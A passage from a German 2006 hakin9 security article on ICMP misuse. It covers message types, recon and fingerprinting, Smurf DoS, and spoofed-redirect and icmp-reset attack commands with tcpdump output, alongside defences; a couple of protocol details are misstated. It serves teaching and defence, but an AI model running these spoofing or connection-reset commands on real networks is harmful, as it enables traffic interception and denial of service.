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Techniken

ICMP steht für Internet Control Message 
Protocol. Es kümmert sich um die Zustel-
lung von Informationen über dauerhafte 

Fehlerzustände. Die RFC-Spezifikation und 
die Merkmale des Protokolls sind in RFC 792 
skizziert. Tabelle 1 listet RFC-Dokumente 
auf, die sich auf ICMP beziehen. ICMP wird 
beispielsweise verwendet, wenn ein Host eine 
UDP-Anfrage an einem Port enthält, an dem 
keine Anwendung lauscht oder wenn IP-Frag-
mentierung erforderlich ist und das DF-Bit ge-
setzt ist (siehe Kasten IP-Fragmentierung und 
ICMP). Es beschäftigt sich mit dem Berichten 
von Fehlerzuständen und dem Abfragen des 
Netzwerks.

Obwohl ICMP genau wie die Transport-
schicht-Protokolle wie TCP oder UDP (OSI-
Schicht 4) in IP-Datagramme gekapselt wird, 
ist es ein Protokoll der Vermittlungsschicht 
(OSI-Schicht 3) wie das IP-Protokoll selbst. 
ICMP bildet einen integralen Teil von IP, ver-
wendet weder das Client-Server-Modell noch 
Portnummern, kann im Broadcast-Modus 
gesendet werden und garantiert nicht die Zu-
stellung einer Nachricht. Die wichtigsten Daten 
im ICMP-Protokoll sind der Nachrichtentyp 
und der Nachrichtencode für den jeweiligen 

Typ. Diese zwei Zahlen befinden sich in den 
ersten zwei Bytes eines ICMP-Headers (siehe 
Abbildung 1). Tabelle 2 fasst die verschiedenen 
ICMP-Typen und Codes zusammen.
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Schwierigkeitsgrad

ICMP wird häufig als harmloses, ungefährliches Protokoll 
betrachtet. Wenn es allerdings durch das Betriebssystem oder 
durch eine Firewall nicht korrekt behandelt wird, kann es von 
Angreifern für bösartige Zwecke ausgenutzt werden.

In diesem Artikel 
erfahren Sie...
•  Details über die Arbeitsweise und die Verwen-

dung von ICMP,
•  Informationen, wie ICMP für Erkundung, 

Fingerprinting, heimliche Kanäle, DoS- und 
MITM-Angriffe verwendet werden kann,

•  Angabe der ICMP-Nachrichtentypen, die für 
bösartige Zwecke ausgenutzt werden können 
und Darstellung der Möglichkeiten dieser Aus-
nutzung,

•  Informationen, wie ICMP TCP-Verbindungen 
stören kann,

•  Hinweise, wie man sich gegen ICMP-Miss-
brauch schützen kann.

Was Sie vorher wissen/können 
sollten... 
•  wie man mit *NIX-Betriebssystemen arbeitet,
•  worin die Grundlagen von TCP/IP bestehen.



Missbrauch des ICMP-Protokolls

hakin9 Nr. 2/2006www.hakin9.org 47

ICMP echo request/
reply 
Mit dem ICMP echo request/reply 
wird überprüft, ob ein Host zugäng-
lich ist oder nicht. Eine ausbleiben-
de Antwort muss nicht unbedingt 
bedeuten, dass der Rechner offline 
ist. Wenn ein Paket beispielsweise 
an eine VRRP-Gatewayadres-
se (Virtual Redundancy Routing 
Protocol – RFC 2338) geschickt 

wird, muss keine Antwort zurück 
kommen (je nach den VRRP-Ein-
stellungen), sogar wenn das Paket 
dort angekommen ist. Die ARP-
Tabelle beinhaltet allerdings eine 
MAC-Adresse, die mit 00-00-5E 
beginnt und mit dieser IP-Adresse 
assoziiert ist, was beweist, dass 
die Nachricht zugestellt worden ist. 
Das Gateway führt möglicherweise 

eine ACL (Access Control List), die 
ICMP-Verkehr sperrt.

Die verwendeten ICMP-Nach-
richten sind:

•  echo request (Typ 8) von der 
Quelle ans Ziel;

•  echo reply (Typ 0) vom Ziel an die 
Quelle.

Ein Beispiel:

# ping -c 1 -p \

  '20006d617363616c §
  7a6f6e6520000000' \

  10.239.174.180

Dies ist ein untypischer Ping, weil 
ein hexadezimales Muster mit 
-p eingefügt wurde, das in AS-
CII-Form mascalzone lautet. Im 
Standardmodus fügt der Absender 
beliebige Daten ins Payload ein 
und die Daten werden unverändert 
in der Antwort zurück geschickt. 
Auch der Zähler wird hier auf 1 

IP-Fragmentierung 
und ICMP
IP-Datagramme sind in Frames 
gekapselt und die Größe eines Da-
tagramms ist durch das Limit jedes 
Übertragungsmedium auf die sog. 
MTU (Maximum Transmission Unit) 
begrenzt; wenn das Datagramm 
größer ist als die MTU, wird es auf-
gespalten. IP-Datagramme können 
vor dieser Fragmentierung geschützt 
werden, indem das DF-Flag – Don't 
Fragment – im IP-Header gesetzt 
wird. Wenn ein Router ein Paket emp-
fängt, das für das Forward-Netzwerk 
zu groß ist, teilt er es auf und leitet 
es weiter; wenn das DF-Bit allerdings 
gesetzt ist, wird das Paket verworfen 
und eine ICMP-Nachricht vom Typ 3
(destination unreachable), Code 4 
(fragmentation needed but don't-frag-
ment bit set) an den Absender zurück 
geschickt. Das weist den Absender 
an, kleinere Pakete zu verschicken, 
wenn sie am Ziel ankommen sollen. 
Die MTU des nächsten Sprungs ist 
in der ICMP-Nachricht angegeben, 
so dass der Absender den zulässigen 
Wert kennt.

Tabelle 1. ICMP-bezogene RFC-Dokumente

Dokument Titel

RFC 792 Internet Control Message Protocol

RFC 896 Source Quench 

RFC 950 Address Mask Extensions 

RFC 1122 Requirements for Internet Hosts – Communicati-
on Layers

RFC 1191 Path MTU Discovery 

RFC 1256 Router Discovery 

RFC 1349 Type of Service in the Internet Protocol Suite

RFC 1812 Requirements for IP version 4 Routers

Abbildung 1. Das ICMP-Nachrichtenformat

4 Bytes

ICMP-Payload (je nach Nachrichttyp)

Das SING Tool
Sing steht für Send ICMP Nasty Garbage. Mit ihm kann der Nutzer präparierte 
ICMP-Pakete aus der Kommandozeile heraus verschicken. Dies wird in diesem 
Artikel zu Demonstrationszwecken extensiv eingesetzt. Der wichtigste Zweck des 
Programms ist es, den ping-Befehl zu ersetzen. Es kann IP-gespoofte Pakete ver-
schicken und auslesen, MAC-gespoofte Pakete, Nachrichten von verschiedenarti-
gen ICMP-Typen und Fehlern sowie Monsterpakete verschicken. Es weiß sich auch 
der IP-Optionen: Strict Source Routing und Loose Source Routing zu bedienen. 
Das Tool steht unter http://sourceforge.net/projects/sing zum Download bereit. 
Obwohl es mit ICMP gut umgehen kann, wird es nicht mehr weiterentwickelt, es 
stellt jedoch genug Funktionalitäten bereit, um Tests für die Zwecke dieses Artikels 
durchzuführen. Natürlich können x-beliebige Tools zum selben Zweck eingesetzt 
werden, beispielsweise nemesis-icmp oder das mächtige hping2 – das Konzept 
bleibt stets dasselbe.
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gesetzt, damit ein Paket statt der 
üblichen vier verschickt wird. Der 
-p-Schalter wird nur in *NIX-Sys-
temen zur Verfügung gestellt, der 
ping-Befehl unter Windows bietet 
diese Funktionalität nicht.

Listing 1 stellt die tcpdump-Aus-
gabe für diesen Paketaustausch dar. 
Beachten Sie, dass ICMP-Header im 
Byte 20 (von 0 an gezählt) beginnen 
und dass Byte 9 den Wert 01 (die 
Protokollnummer von ICMP) enthält. 
In Abbildung 2 ist das Nachrichten-
format von echo request/reply zu 
sehen.

Missbrauchsmöglichkeiten
Die häufigste Art und Weise, ICMP 
echo request/reply zu missbrauchen, 
ist der Smurf-DoS-Angriff (siehe 
http://www.cert.org/advisories/CA-
1998-01.html). Er basiert auf der 
Tatsache, dass Broadcast-Adressen 
gepingt werden können. Eine enor-
me Anzahl von echo request Pake-
ten mit der gespooften IP-Adresse 
des Opfers wird erzeugt, gerichtet an 
eine Broadcast-Adresse. Das Ziel ist 

Listing 1. Echo request/reply in tcpdump nachverfolgt

# tcpdump -ile1 -nvX icmp

10.239.174.230 > 10.239.174.180: icmp: §
  echo request (id:3f03 seq:0)(ttl 255, id 23258, len 84)

 0000: 4500 0054 5ada 0000 ff01 ed55 0aef aee   E..TZÚ..ÿ.íU.ï®æ

 0010: 0aef aeb4 0800 1102 3f03 0000 435c b07a  .ï®´....?...C\°z

 0020: 000c 7304 2000 6d61 7363 616c 7a6f 6e65  ..s. .mascalzone

 0030: 2000 0000 2000 6d61 7363 616c 7a6f 6e65   ... .mascalzone

 0040: 2000 0000 2000 6d61 7363 616c 7a6f 6e65   ... .mascalzone

 0050: 2000                                      .

10.239.174.180 > 10.239.174.230: icmp: §
  echo reply (id:3f03 seq:0) (ttl 128, id 54675, len 84)

 0000: 4500 0054 d593 0000 8001 f19c 0aef aeb4  E..TÕ.....ñ..ï®´

 0010: 0aef aee6 0000 1902 3f03 0000 435c b07a  .ï®æ....?...C\°z

 0020: 000c 7304 2000 6d61 7363 616c 7a6f 6e65  ..s. .mascalzone

 0030: 2000 0000 2000 6d61 7363 616c 7a6f 6e65   ... .mascalzone

 0040: 2000 0000 2000 6d61 7363 616c 7a6f 6e65   ... .mascalzone

 0050: 2000                                      . 

Abbildung 2. Das ICMP echo request/reply Nachrichtenformat

Tabelle 2. ICMP-Typen und Codes

Typ Name Code
0 Echo reply 0 – No code 
1 Unassigned 0 – No code 
2 Unassigned 0 – No code 
3 Destination unreachable 0 – Net unreachable

1 – Host unreachable 
2 – Protocol unreachable 
3 – Port unreachable 
4 – Fragmentation needed and Don't fragment was set 
5 – Source route failed 
6 – Destination network unknown 
7 – Destination host unknown 
8 – Source host isolated
9 – Communication with destination network is administratively prohibited
10 –Communication with destination host is administratively prohibited
11 – Destination network unreachable for type of service
12 – Destination host unreachable for type of service
13 – Communication administratively prohibited
14 – Host precedence violation 
15 – Precedence cutoff in effect 

4 Source quench 0 – No code 
5 Redirect 0 – Redirect datagram for the network (or subnet) 

1 – Redirect datagram for the host 
2 – Redirect datagram for the type of service and network 
3 – Redirect datagram for the type of service and host 
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es, das Netzwerk so zu überlasten, 
dass der Opferhost offline geht.

Der Smurf-Angriff kann fernge-
steuert erfolgen. Ein ICMP echo 
request wird an einen Vermittler-
host (Verstärker) geschickt. Dieses 
Paket enthält die IP-Adresse des 
Opfers als gespoofte Quelle und 
eine Broadcast-Adresse als Ziel. 
Wenn der Vermittlerknoten nicht 
geschützt ist, schickt er das Paket 
an alle Rechner im Netzwerk und 
diese richten ihre Antworten an 
den Opferhost.

Ein Opfer kann nicht viel gegen 
solche Angriffe unternehmen, es ist 
das Netzwerk selbst, das geschützt 
werden muss und zwar gegen die 
Ausnutzung als Vermittler. Daher 
muss das Forwarding von gerichte-
ten Broadcasts an allen Routerports 
deaktiviert werden. Das verhindert, 
das andere (beispielsweise externe) 
Netzwerke Anfragen an Broadcast-
Adressen im internen Netz richten. 
Der Mechanismus ist in der RFC 
2644 beschrieben. Eine weitere 
Abwehrschicht ist, alle Hosts im 

Netzwerk so einzurichten, dass sie 
an Broadcast-Adressen gerichtete 
ICMP-Pakete verwerfen. Wenn alle 
Knoten im Netz so konfiguriert sind, 
antwortet keiner auf solche Abfra-
gen und das Opfer wird nicht mit 
Antworten überflutet.

TFN (Tribe Flood Attack, siehe 
http://staff.washington.edu/dittrich/
misc/tfn.analysis) ist ein bösarti-
ges Tool, mit dem man ICMP echo 
request und reply missbrauchen 
kann. Es ist ein DDoS-Angriffswerk-
zeug, das auf einer vielschichtigen

Tabelle 2. ICMP-Typen und Codes

Typ Name Code

6 Alternate host address 0 – Alternate address for host 
7 Unassigned 0 – No code 
8 Echo request 0 – No code 
9 Router advertisement 0 – No code 
10 Router selection 0 – No code 

11 Time exceeded 0 – Time to Live exceeded in transit 
1 – Fragment reassembly time exceeded 

12 Parameter problem 0 – Pointer indicates the error 
1 – Missing a required option 
2 – Bad length 

13 time stamp 0 – No code 

14 time stamp reply 0 – No code 

15 Information request 0 – No code 
16 Information reply 0 – No code 
17 Address mask request 0 – No code 
18 Address mask reply 0 – No code 
19 Reserved (for security) 0 – No code 

20–29 Reserved (for robustness 
experiment) 

0 – No code 

30 Traceroute 0 – No code
31 Datagram conversion error 0 – No code 
32 Mobile host redirect 0 – No code 
33 IPv6 Where-Are-You 0 – No code 
34 IPv6 I-Am-Here 0 – No code 
35 Mobile registration request 0 – No code 

36 Mobile registration reply 0 – No code 

39 SKIP 0 – No code 

40 Photuris 0 – Reserved 
1 – Unknown security parameters index 
2 – Valid security parameters, but authentication failed 
3 – Valid security parameters, but decryption failed 
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(Angreifer, Client, Daemon, Opfer) 
Architektur basiert und mittels 
ICMP echo reply Nachrichten 
kommuniziert. Es wird verwendet, 
weil einige Überwachungstools 
den ICMP-Verkehr nicht verfolgen, 
also bleibt er unsichtbar und es ist 

schwieriger, den Einsatz von TFN 
zu erkennen.

Das Payload des ICMP-Headers 
kann auch als heimlicher Kommuni-
kationskanal fungieren. Ein Beispiel 
dieses Ansatzes ist das Loki-Projekt 
(http://www.phrack.org/phrack/49/

P49-06). Um die Verwendung von 
Loki aufzuspüren, muss man nach 
intensivem echo reply Verkehr Aus-
schau halten.

ICMP request und reply können 
einem Angreifer auch zur einfache-
ren Ersterkundung dienen. Wenn 
ein Rechner ein ICMP request 
beantwortet, ist er da und online. 
Außerdem ermöglicht der TTL-Wert 
ein einfaches Fingerprinting, weil 
verschiedene Systeme verschiede-
ne Werte verwenden.

ICMP time exceeded 
in transit und UDP 
port unreachable 
(traceroute)
Das *NIX-Tool traceroute verrichtet 
seine Arbeit, indem es zunächst 
UDP-Pakete mit einer TTL (Time 
To Live) von 1 aufsteigend ans Ziel 
schickt. Jeder Router auf diesem 
Weg muss die TTL in einem IP-
Paket zumindest um 1 herabsetzen, 
bevor er es weiterschickt. Wenn 
das Paket sein Ziel nicht erreicht, 
wird ein ICMP time exceeded in 
transit (TTL=0) zurück an die Quelle 
geschickt. Dann schickt diese ein 
weiteres Paket mit TTL=2 ab. Das 
Verfahren wird wiederholt, bis das 
Paket am Ziel ankommt.

Natürlich passiert das nur, wenn 
alle Knoten unterwegs ICMP-Pakete 
korrekt erzeugen und UDP-Pakete 
nicht gefiltert werden. UDP wird statt 
TCP verwendet, weil es eine ICMP-
Antwort auslöst, wenn der Host nicht 
an einem Port lauscht, während TCP 
ein Paket mit dem RST/ACK-Flag 
zurückschickt.

Die hier relevanten ICMP-Nach-
richten sind:

•  Typ 11 Code 0 wenn das Ziel 
nicht erreicht wird, vom Ziel an 
die Quelle;

•  Type 3 Code 3 wenn das Ziel 
erreicht wird, vom Ziel an die 
Quelle.

In Listing 2 ist eine Beispielsitzung 
von traceroute aufgezeichnet und in 
Listing 3 steht die tcpdump-Ausga-
be dazu.

Listing 2. Traceroute-Beispielausgabe

# traceroute -n www.name.com

1 192.168.1.1 2.174 ms 3.46 ms 6.734 ms

2 192.168.100.1 164.449 ms 14.893 ms 9.979 ms

3 HOP_3.7.24 7.847 ms 10.716 ms 10.820 ms

4 HOP_4.211.137 10.535 ms 7.250 ms 12.668 ms

5 HOP_5.98.125 10.477 ms 13.546 ms 15.912 ms

6 HOP_6.211.118 8.978 ms 92.593 ms 14.866 ms

7 HOP_7.5.46 13.452 ms 6.291 ms 13.665 ms

8 HOP_8.8.194 14.94 ms 15.156 ms 21.299 ms

9 DEST.128.8 13.907 ms 18.545 ms 14.308 ms

Listing 3. Traceroute-Pakete in tcpdump nachverfolgt

# tcpdump -ile1 -nn udp or icmp

1. 192.168.1.3.23469 > 192.168.1.1.53:[udp sum ok] §
   49680+ A?www.name.com. (30) (ttl 64, id 63871, len 58)

   192.168.1.1.53 > 192.168.1.3.23469:49680* §
   1/2/2 www.name.com.A DEST.128.8 (129) (DF) (ttl 64, id 0, len 157)

2. 192.168.1.3.34790 > DEST.128.8.33435: [no cksum] §
   udp 12 [ttl 1] (id 34791, len 40)

   192.168.1.1 > 192.168.1.3: icmp: time exceeded in-transit §
   [tos0xc0] (ttl 255, id 14431, len 68)

3. 192.168.1.3.34790 > DEST.128.8.33438: [no cksum] §
   udp 12 (ttl 2, id 34794, len 40)

   192.168.100.1 > 192.168.1.3: icmp: time exceeded in-transit §
   [tos 0xc0] (ttl 254, id 40091, len 56)

4. 192.168.1.3.34790 > DEST.128.8.33441: [no cksum] §
   udp 12 (ttl 3, id 34797, len 40)

   HOP_3.7.24 > 192.168.1.3: icmp: time exceeded in-transit §
   [tos0xc0] (ttl 253, id 63460, len 56)

5. 192.168.1.3.34790 > DEST.128.8.33444: [no cksum] §
   udp 12 (ttl 4, id 34800, len 40)

   HOP_4.211.137 > 192.168.1.3: icmp: time exceeded in-transit §
   [tos 0xc0] (ttl 246, id 65312, len 168)

6. 192.168.1.3.34790 > DEST.128.8.33447: [no cksum] §
   udp 12 (ttl 5, id 34803, len 40)

   HOP_5.98.125 > 192.168.1.3: icmp: time exceeded in-transit §
   [tos 0xc0] (ttl 247, id 25777, len 168)

7. 192.168.1.3.34790 > DEST.128.8.33450: [no cksum] §
   udp 12 (ttl 6, id 34806, len 40)

   HOP_6.211.118 > 192.168.1.3: icmp: time exceeded in-transit §
   (ttl 250, id 53570, len 168)

8. 192.168.1.3.34790 > DEST.128.8.33453: [no cksum] §
   udp 12 (ttl 7, id 34809, len 40)

   HOP_7.5.46 > 192.168.1.3: icmp: time exceeded in-transit §
   (ttl 248, id 0, len 56)

9. 192.168.1.3.34790 > DEST.128.8.33456: [no cksum] §
   udp 12 (ttl 8, id 34812, len 40)

   HOP_8.8.194 > 192.168.1.3: icmp: time exceeded in-transit §
   (ttl 248, id 0, len 56)

10. 192.168.1.3.34790 > DEST.128.8.33459: [no cksum] §
   udp 12 (ttl 9, id 34815, len 40)

   DEST.128.8 > 192.168.1.3: icmp: DEST.128.8 udp port 33459 unreachable §
   (ttl 120, id 37460, len 68)
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Sehen wir uns den Trace näher 
an. Zuerst bemerken wir, dass die 
tcpdump-Ausgabe nicht komplett ist 
– 2 Pakete wurden von jeder Zeile 
entfernt, damit das Listing besser 
lesbar ist. Der Host 192.168.1.3 

fragt den DNS-Server (am Router) 
ab und der Name wird (via ISP-
Cache) aufgelöst. DEST.128.8 ist 
der Zielhost. Die Quelle erstellt 
ein UDP-Paket mit TTL=1. Der 
Gateway setzt den TTL-Wert von 1 

auf 0 herab, verwirft das Paket und 
schickt eine ICMP time exceeded 
in transit Nachricht an die Quelle 
zurück. Im Versuch 3 wird davon 
ein weiteres UDP-Paket mit TTL=2 
erzeugt und diesmal schickt das 
Endpunkt-Gateway des ISP das 
ICMP time exceeded in transit. Die 
Versuche werden in den Punkten 4 
bis 9 wiederholt, indem jedes Gate-
way ein ICMP-Paket zurückschickt, 
bis im 10. Versuch das Paket mit 
TTL=9 den Zielhost erreicht. Dieser 
antwortet mit einer ICMP UDP port 
unreachable Nachricht.

Missbrauchsmöglichkeiten
Dieser Mechanismus ist zwar 
ziemlich sicher, kann aber offenbar 
zur Erkundung eingesetzt werden. 
Wenn der Zielhost eine UDP port 
unreachable Nachricht ausgibt ist 
er aktiv und online. Auch triviales 
Fingerprinting kann anhand der TTL 
durchgeführt werden.

ICMP time stamp 
request/reply
ICMP time stamp request/reply 
Pakete werden zum Messen der 
Netzwerklatenz verwendet, indem 
sie sich mit der Round-Trip-Time von 
Paketen beschäftigen.

Die hier relevanten ICMP-Nach-
richten sind:

•  time stamp request Typ 3 von der 
Quelle ans Ziel, das den Quell-
zeitstempel setzt;

•  time stamp reply (Typ 14) vom 
Ziel an die Quelle, das den Quell-
zeitstempel (source time), den 
Empfangszeitstempel (destinati-
on time) und den Antwortüber-
mittlung-Zeitstempel (destination 
time) enthält.

In Listing 4 steht ein Beispiel eines sol-
chen Austauschs, in Abbildung 3 das 
Nachrichtenformat und in Listing 5
die Ausgabe von tcpdump.

Missbrauchsmöglichkeiten
Das time stamp reply gibt mehr Infor-
mationen über die Leistungscharak-
teristik des Netzwerks preis als man 
zumindest Benutzern außerhalb des 

Listing 4. Abschicken eines time stamp request mit dem SING Tool

# sing -c 1 -tstamp 10.239.174.180

SINGing to 10.239.174.180 (10.239.174.180): 20 data bytes

10240 bytes from 10.239.174.180: seq=0 ttl=128 TOS=0 diff=800917246*

--- 10.239.174.180 sing statistics ---

1 packets transmitted, 1 packets received, 0% packet loss

Listing 5. time stamp request/reply in tcpdump nachverfolgt

# tcpdump -ile1 -nvX icmp

10.239.174.230 > 10.239.174.180: icmp: §
  time stamp request (ttl 255, id 13170, len 40)

 0000: 4500 0028 3372 0000 ff01 14ea 0aef aee6 E..(3r..ÿ..ê.ï®æ

 0010: 0aef aeb4 0d00 b64a eb6c 0000 0244 4f04 .ï®´..¶Jël...DO.

 0020: 0000 0000 0000 0000                     ........

10.239.174.180 > 10.239.174.230: icmp: §
  time stamp reply (ttl 128, id 4727, len 40)

 0000: 4500 0028 1277 0000 8001 b4e5 0aef aeb4 E..(.w....´å.ï®´

 0010: 0aef aee6 0e00 a542 eb6c 0000 0244 4f04 .ï®æ..¥Bël...DO.

 0020: b201 5602 b201 5602 0000 0000 0000      ².V.².V.......

Abbildung 3. Das ICMP time stamp request/reply Nachrichtenformat 

Listing 6. ICMP destination unreachable in tcpdump nachverfolgt

# tcpdump –nnx –i le1 icmp

10.173.217.2 > 10.173.217.50: icmp: §
  host 10.173.217.1 unreachable [tos 0xc0]

 45c0 0038 0000 0000 1e01 d476 0aad d902

 0aad d932 0301 fcfe 0000 0000 4500 0020

 3372 0000 ff01 c0dc 0aad d932 0aad d901

 1100 478d 5972 4e00

192.168.100.1 > 192.168.1.4: icmp: §
  net 10.173.120.29 unreachable

 4500 0038 a10e 0000 fe01 3560 c0a8 6401

 c0a8 0104 0300 ab3a 0000 0000 4500 0030

 a10e 4000 7f06 1643 c0a8 0104 0aad 781d

 0674 2516 3264 f3d6
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Lokalnetzwerks zukommen lassen 
möchte. Daher besagt die RFC 1122, 
dass die Unterstützung für ICMP 
time stamp request und time stamp 
reply Nachrichten völlig optional 
ist. Die damit gesammelten Daten 
können offensichtlich zur Erkundung 
und zum Fingerprinting anhand der 
TTL-Werte verwendet werden.

ICMP destination 
unreachable
Mit diesen Nachrichten informieren 
Router bzw. Firewalls die Absender 
über unerreichbare Zielhosts bzw. 
-netze. Möglicherweise gibt es den 
Zielhost nicht; er kann aber auch nur 
zeitweise offline sein.

Die hier relevanten ICMP-Nach-
richten sind:

•  network unreachable (Typ 3 Co-
de 0) vom Router an den Host;

•  host unreachable (Typ 3 Code 1) 
vom Router an den Host;

•  protocol unreachable (Typ 3 Co-
de 2) vom Router an den Host.

In Listing 6 sieht man eine Beispiel-
ausgabe von tcpdump für eine desti-
nation unreachable Nachricht.

Missbrauchsmöglichkeiten
Wenn die Router in einem Netzwerk 
diesen Nachrichtentyp versenden, 
kann ein Angreifer ohne großen 
Aufwand den Aufbau des Netzwerks 
herausfinden.

ICMP redirect
Diese Art von Nachrichten dient Rou-
tern bzw. Firewalls zum Informieren 
der Quelle über den bevorzugten 
Pfad zum vorgegebenen Zielhost. Ein 
Router schickt das Paket weiter ans 
Ziel und ein ICMP redirect mit Angabe 
eines alternativen Gateways an die 
Quelle; dort wird die Routingtabelle 
entsprechend modifiziert. Der Router, 
der das ICMP redirect auslöst, muss 
sich im selben Subnetz wie die Quelle 
und wie das neue Gateway befinden.

Die hier relevanten ICMP-Nach-
richten sind:

•  Typ 5 Code 1 vom Router an den 
Host.

Abbildung 4. Das ICMP redirect Nachrichtenformat

Abbildung 5. Die Windows XP SP2 Routingtabelle vor der Umleitung

Abbildung 6. Die Windows XP SP2 Routingtabelle nach der Umleitung

Abbildung 7. Das ICMP fragmentation needed and Don't fragment was set 
Nachrichtenformat

Abbildung 8. Das ICMP Address mask request/reply Nachrichtenformat
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Abbildung 4 stellt das ICMP redirect 
Nachrichtenformat dar.

Missbrauchsmöglichkeiten
Ein bösartiger Nutzer kann mittels 
Spoofing die Routingtabelle eines 
Hosts so modifizieren, dass der Ver-
kehr über einen Man-In-The-Middle-
Host (für Sniffingzwecke) oder auf 
einer Black-Hole-Route erfolgt, so 
dass die Verbindung abgebrochen 
wird (DoS).

Abbildung 5 zeigt eine Win-
dows XP SP2 Routingtabelle. Be-
achten Sie das Standardgateway: 
192.168.1.1. Ein ICMP redirect kann 
von einem anderen Rechner stam-
men, beispielsweise 192.168.1.2:

# sing -red -S 192.168.1.1 \

  -gw 192.168.1.2 \

  -dest 0.0.0.0 -x host \

  -prot tcp -psrc 100 \

  -pdst 90 192.168.1.4

Grundsätzlich wollen wir ein ICMP 
echo request mit der ID 100 und der 
Sequenznummer mit einem ICMP 
redirect an Stelle des (mit -S gespoof-
ten) Routers beantworten, so dass die 
Routingtabelle am Windows-Rechner 
(192.168.1.4) den Host 192.168.1.2 
als Standardgateway nennt. Listing 7
stellt die tcpdump-Ausgabe und 
Abbildung 6 die modifizierte Rou-
tingtabelle dar. Offensichtlich war der 
Angriff erfolgreich.

Um einen Windows-PC vor die-
ser Angriffsart zu schützen, müssen 
wir lediglich im Registryschlüssel: 
HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Services\Tcpip\
Parameters EnableICMPRedirect auf 
0 stellen.

ICMP fragmentation 
required
ICMP fragmentation needed and 
Don't fragment was set Nachrichten 
werden von Routern bzw. Firewalls 
verwendet, um Absender über die 
erforderliche Fragmentierung der 
Pakete zu informieren, wenn das 
DF-Bit (don't fragment) darin gesetzt 
ist. Die Fehlermeldung enthält die 
MTU des Netzwerks, für das eine 
Segmentierung notwendig ist.

Listing 8. Beispiel eines address mask request/reply

# sing -mask 10.173.217.2

10.173.217.50 > 10.173.217.2: icmp: address mask request

 4500 0020 3372 0000 ff01 c0db 0aad d932

 0aad d902 1100 a38c 1f73 2c00 0000 0000

10.173.217.2 > 10.173.217.50: icmp: address mask is 0xffffffc0

 4500 0020 3372 0000 4001 7fdc 0aad d902

 0aad d932 1200 a2cb 1f73 2c00 ffff ffc0

 0f00 0000 00f4 5800 b0bf 0000 00f4 

Listing 9. Ein icmp-reset Angriff in tcpdump nachverfolgt

# tcpdump -ile1 -nnv icmp and host 192.168.1.4

10.10.228.237 > 192.168.1.4: §
  icmp: 10.10.228.237 protocol 6 unreachable for §
  192.168.1.4.3763 > 10.10.228.237.80: 3634163930 §
  [|tcp] (ttl 211, id 28211, len 576) (ttl 214, id 31456)

Listing 10. Die Reaktion auf einen icmp-reset Angriff in tcpdump 
nachverfolgt

# tcpdump -ile1 -nn 'tcp[13] & 4 != 0'

192.168.1.4.3763 > 10.10.228.237.80: §
  R 1428640266:1428640266(0) ack 667972724 win 0 (DF)

Listing 11. Ein icmp-reset Angriff, der eine Verbindung mit einem Putty-
Client abbricht

# icmp-reset -c 10.239.7.27:1040-1060 -s 10.239.5.41:22 -t client -r 56

# tcpdump -ile1 -nn host 10.239.5.41 and port 22

10.239.7.27.1049 > 10.239.5.41.22: §
  S [tcp sum ok] 782249187:782249187(0) win 16384 §
  <mss  460,nop,nop,sackOK> (DF) (ttl 127, id 23641, len 48)

10.239.5.41.22 > 10.239.7.27.1049: §
  S [tcp sum ok] 4070582427:4070582427(0) ack 782249188 win 5840 §
  <mss 1460,nop,nop,sackOK> (DF) (ttl 64, id 0, len 48)

(...)

10.239.5.41 > 10.239.7.27: §
  icmp: 10.239.5.41 protocol 6 unreachable §
  for 10.239.7.27.1049 > 10.239.5.41.22: 1144805691 §
  [|tcp] (ttl 206, id 57166, len 576)

(...)

10.239.5.41 > 10.239.7.27: §
  icmp: 10.239.5.41 protocol 6 unreachable §
  for 10.239.7.27.1049 > 10.239.5.41.22: 1512665611 §
  [|tcp] (ttl 234, id 63018, len 576)

Listing 7. ICMP redirect in tcpdump nachverfolgt

192.168.1.1 > 192.168.1.4: icmp: §
  redirect 0.0.0.0 to host 192.168.1.2

 4500 0038 3372 0000 ff01 04fd c0a8 0101

 c0a8 0104 0501 b87f c0a8 0102 4500 0038

 4a2f 0000 ff06 afe4 c0a8 0104 0000 0000

 0064 005a c010 c005
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Die hier relevanten ICMP-Nach-
richten sind:

•  Typ 3 Code 4 vom Filterknoten an 
die Quelle.

Abbildung 7 stellt das Nachrich-
tenformat von ICMP fragmentation 
needed and Don't fragment was 
set dar.

Missbrauchsmöglichkeiten
Dieser Nachrichtentyp kann zur Er-
kundung eingesetzt werden, da ein 
Angreifer den Durchsatz eines Über-
tragungspfades untersuchen kann, 
um einen DoS-Angriff zu planen.

ICMP Address mask 
request/reply
Diese Nachrichten dienen zum Aus-
lesen der Adressmaske. Systeme 
ohne Festplatte mussen beispiels-
weise die Maske beim Hochfahren 
auslesen.

Die hier relevanten ICMP-Nach-
richten sind:

•  Typ 17 Code 0 von der Quelle ans 
Ziel beim mask request;

•  Typ 18 Code 0 vom Ziel an die 
Quelle beim mask reply.

In Abbildung 8 ist das Format einer 
ICMP Address mask request/reply 
Nachricht und in Listing 8 ein Bei-
spiel eines solchen Austauschs zu 
sehen.

Missbrauchsmöglichkeiten
Auch mit diesem Typ von ICMP-
Nachrichten kann der Absender 
das Netzwerk erkunden, indem er 
die Struktur des Subnetzes ohne 
Weiteres ermitteln kann. Diese Art 
von ICMP-Paketen ist allerdings 
veraltet und wird äußerst selten 
verwendet.

ICMP gegen TCP
Fernando Gont hat sehr inter-
essante Untersuchungen dieser 
Angriffstypen durchgeführt und im 
Internet-Draft ICMP attacks against 
TCP (siehe Kasten Im Internet) be-
schrieben. Grundsätzlich unterteilen 
sie sich in:

•  Blind Connection Reset;
•  Blind Performance Degrading;
•  Blind Throughput Reduction.

Auch Tools für diese Zwecke wur-
den als proof of concept entwickelt. 
Sehen wir uns an, wie wir damit 

die TCP/IP-Implementation unseres 
Systems auf die Anfälligkeit für sol-
che Angriffe hin überprüfen können.

Blind Connection Reset
Bei dieser Art von Angriffen wird eine 
TCP-Verbindung quell- bzw. zielseitig

Abbildung 9. Eine mit dem icmp-reset Tool abgebrochene Putty-
Verbindung

Listing 12. Ein icmp-mtu Angriff in tcpdump nachverfolgt

10.239.5.41:22 > 10.239.7.27.1058: . §
  20745:22225(1480) ack 0 win 5840 (DF) (ttl 64, id 64416)

10.239.7.27.1058 > 10.239.5.41:22: . §
  [tcp sum ok] ack 48281 win 16384 (DF) (ttl 127, id 34764)

10.239.7.27.1058 > 10.239.5.41:22: . §
  [tcp sum ok] ack 68161 win 16384 (DF) (ttl 127, id 98023)

10.239.5.41:22 > 10.239.7.27.1058: . §
  22225:23705(1480) ack 0 win 17040 (DF) (ttl 64, id 23658)

10.239.7.27.1058 > 10.239.5.41:22: . §
